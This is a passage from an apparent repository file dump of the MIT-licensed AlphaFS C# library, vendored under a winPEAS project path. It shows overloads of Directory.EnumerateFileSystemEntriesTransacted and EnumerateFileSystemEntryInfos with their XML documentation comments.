name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, searchPattern, null, options,  null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, searchPattern, null, options,  null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, Path.WildcardStarMatchAll, null, null, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, Path.WildcardStarMatchAll, null, null, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, Path.WildcardStarMatchAll, null, options,  filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, Path.WildcardStarMatchAll, null, options,  filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, searchPattern, null, options,  filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names and directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of file system entries in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, searchPattern, null, options,  filters, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateFileSystemEntryInfos.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"path\">The directory to search.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfos<T>(string path)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, null, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfos<T>(string path, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, null, path, Path.WildcardStarMatchAll, null, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfos<T>(string path, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, null, path, Path.WildcardStarMatchAll, null, options,  null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfos<T>(string path, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, null, path, Path.WildcardStarMatchAll, null, options,  null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries that match a <paramref name=\"searchPattern\"/> in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfos<T>(string path, string searchPattern)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, null, path, searchPattern, null, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries that match a <paramref name=\"searchPattern\"/> in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfos<T>(string path, string searchPattern, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, null, path, searchPattern, null, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries that match a <paramref name=\"searchPattern\"/> in a specified path using <see cref=\"DirectoryEnumerationOptions\"/>.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfos<T>(string path, string searchPattern, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, null, path, searchPattern, null, options,  null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries that match a <paramref name=\"searchPattern\"/> in a specified path using <see cref=\"DirectoryEnumerationOptions\"/>.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfos<T>(string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, null, path, searchPattern, null, options,  null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public static IEnumerable<T> EnumerateFileSystemEntryInfos<T>(string path, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<T>(null, null, path, Path.WildcardStarMatchAll, null, null, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      